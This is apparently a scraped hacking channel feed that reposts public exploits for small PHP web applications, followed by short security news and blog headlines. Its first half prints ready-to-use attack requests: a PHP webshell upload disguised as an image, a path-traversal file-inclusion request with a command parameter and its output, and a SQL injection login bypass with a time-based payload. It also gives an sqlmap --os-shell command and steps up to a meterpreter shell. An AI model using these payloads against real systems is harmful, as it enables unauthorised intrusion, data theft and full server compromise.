Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
cmark-gfm Integer overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 17:13

Hacking Articles Tips Tricks Videos Tutorials

4 views17:13

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
SAP Information System 1.0 Shell Upload

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
SAP Information System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 445bda3eaf07300e9f784c783c0ebdba

Download
# Title: SAP Information System 1.0 Shell Upload
# Author: Hejap Zairy
# Date: 05.04.2022
# Vendor: https://www.sourcecodester.com/php/15262/sap-information-system-using-phppdo-oop.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/SAP_Information_System.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.jpg files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload profile files

```

```
[+] Payload POST
```
POST /SAP_Information_System/controllers/edit_householdImage.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------3440160751499277351272200964
Content-Length: 1343
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/SAP_Information_System/Dashboard/pages/Beneficiaries.php
Cookie: PHPSESSID=rcumpt42s3tngl4b74i4ndrpl9
-----------------------------3440160751499277351272200964

Content-Disposition: form-data; name="image_profile"; filename="0day_hejap.png.php"

Content-Type: image/jpg

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

SAP Information System 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 17:13

Hacking Articles Tips Tricks Videos Tutorials

9 views17:13

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Bakery Shop Management System 1.0 Local File Inclusion

https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Bakery Shop Management System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | 406bbd551d30b93c453d0bbc92d5f4d1

Download

# Title:  Bakery Shop Management System 1.0  LFI To RCE
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code  php
Needs more filtering require_once

```
require_once('DBConnection.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
if($_SESSION['type'] != 1 && in_array($page,array('maintenance','products','stocks'))){
header("Location:./");
exit;
}
```

[+] Payload GET
```
GET //bsms/?page=../../../0day&515=dir HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL

#Response 
```
Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\xampp\htdocs\bsms

04/06/2022  04:18 AM .
04/06/2022  05:05 AM ..
02/14/2022  10:39 AM            16,358 Actions.php
08/04/2021  11:04 PM css
02/14/2022  11:55 AM database
09/09/2021  11:54 AM DataTables
02/14/2022  11:55 AM               865 DBConnection.php
08/05/2021  03:09 AM Font-Awesome-master
02/14/2022  12:00 PM            10,407 home.php
02/14/2022  11:07 AM images
02/14/2022  02:26 PM            10,018 index.php
09/11/2021  11:40 AM js
02/14/2022  11:11 AM             4,372 login.php

```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/qLNHh9Q.png
https://i.imgur.com/XDSsyNL.jpg

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Bakery Shop Management System 1.0 Local File Inclusion

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

12 viewsedited 17:13

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Bakery Shop Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
Bakery Shop Management System version 1.0 suffers from a remote blind SQL injection vulnerability that can lead to code execution and authentication bypass.

MD5 | 7563ba7c628bb1afba90da4c600c5295

Download

# Title: Bakery Shop Management System 1.0 - Blind Time SQLi To Rce
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : https://0day.gov/bsms/login.php
# 2 - SQLi Authentication Bypass [admin'or 1=1 or ''=']
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell 
# 5 - Web Shell to meterpreter full tty shell
#vulnerability Code  php

---
```

$sql = "SELECT p.*,c.name as cname FROM `product_list` p inner join `category_list` c on p.category_id = c.category_id where p.status = 1 and p.delete_flag = 0 order by `name` asc";
$qry = $conn->query($sql);
while($row = $qry->fetch_assoc()):
$stock_in = $conn->query("SELECT sum(quantity) as `total` FROM `stock_list` where unix_timestamp(CONCAT(`expiry_date`, ' 23:59:59')) >= unix_timestamp(CURRENT_TIMESTAMP) and product_id = '{$row['product_id']}' ")->fetch_array()['total'];
$stock_out = $conn->query("SELECT sum(quantity) as `total` FROM `transaction_items` where product_id = '{$row['product_id']}' ")->fetch_array()['total'];
$stock_in = $stock_in > 0 ? $stock_in : 0;
$stock_out = $stock_out > 0 ? $stock_out : 0;
$qty = $stock_in-$stock_out;
$qty = $qty > 0 ? $qty : 0;
?>
```
---
#Status: CRITICAL
[+] Payload POST

---
POST /bsms/Actions.php?a=login HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 48
Origin: http://0day.gov
Connection: close
Referer: https://0day.gov/bsms/login.php
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s

username=admin'or+1%3D1+or+''%3D'&password=hejap
---
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin'or 1=1 or ''='' AND (SELECT 1610 FROM (SELECT(SLEEP(515)))eFaV) AND '515'='515&password=hejap
---

#Blind SQLi Time to Rce
#ُExploit 

sqlmap -r hejap_0day --dbs --time-sec=10  --threads=10  -D bsms_db  -T user_list  --dump  --eta --technique=t  --os-shell

# Description:
The  SQLi vulnerability We can use this information to construct an injection attack to bypass authentication.
# Proof and Exploit:
https://i.imgur.com/zR6Mekg.png
https://i.imgur.com/RQ1JXeK.png
https://i.imgur.com/0x9gepw.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Bakery Shop Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 17:13

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Why XDR As We Know It Will Fail

Don't take the XDR hype at face value. Do security due diligence and add a connectivity level for data access across all silos for best response.

6 views17:30

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Linux Systems Are Becoming Bigger Targets

To prevent Linux exploits, organizations should establish an integrated security approach that extends to the network edge.

8 views17:30

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
FBI-Led Operation Disrupts Russian GRU Botnet

"Cyclops Blink" operation disabled firewalls behind the Sandworm hacking team's network of infected victim devices.

8 views17:30

Source

Hacking Articles Tips Tricks Videos Tutorials

How i got access to 1600k Users PII Data $$$$

Hello Guys 👋 I am Gokul, Python developer, Cyber security researcher, Part time Bug hunter and Open source tool maker, Studying 3rd year…Continue reading on Medium »
Read more...

8 views18:15

Hacking Articles Tips Tricks Videos Tutorials

How i got access to 1600k Users PII Data $$$$
https://gokulap.medium.com/how-i-got-access-to-1600k-users-pii-data-64a27a540963?source=rss------bug_bounty-5

Hello Guys 👋 I am Gokul, Python developer, Cyber security researcher, Part time Bug hunter and Open source tool maker, Studying 3rd year…Continue reading on Medium » (https://gokulap.medium.com/how-i-got-access-to-1600k-users-pii-data-64a27a540963?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

How i got access to 1600k Users PII Data $$$$

Hello Guys 👋 I am Gokul, Python developer, Cyber security researcher, Part time Bug hunter and Open source tool maker, Studying 3rd year…

9 viewsedited 18:20

Hacking Articles Tips Tricks Videos Tutorials

Hacking on Medium
Solidity Hacking: Re-Entrancy

https://cdn-images-1.medium.com/max/600/1*f5dbaUgs-68SYjGBiLbwKg.png
A re-entrancy vulnerability takes advantage of a function that calls an external, untrusted contract multiple times.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Solidity Hacking: Re-Entrancy

A re-entrancy vulnerability takes advantage of a function that calls an external, untrusted contract multiple times.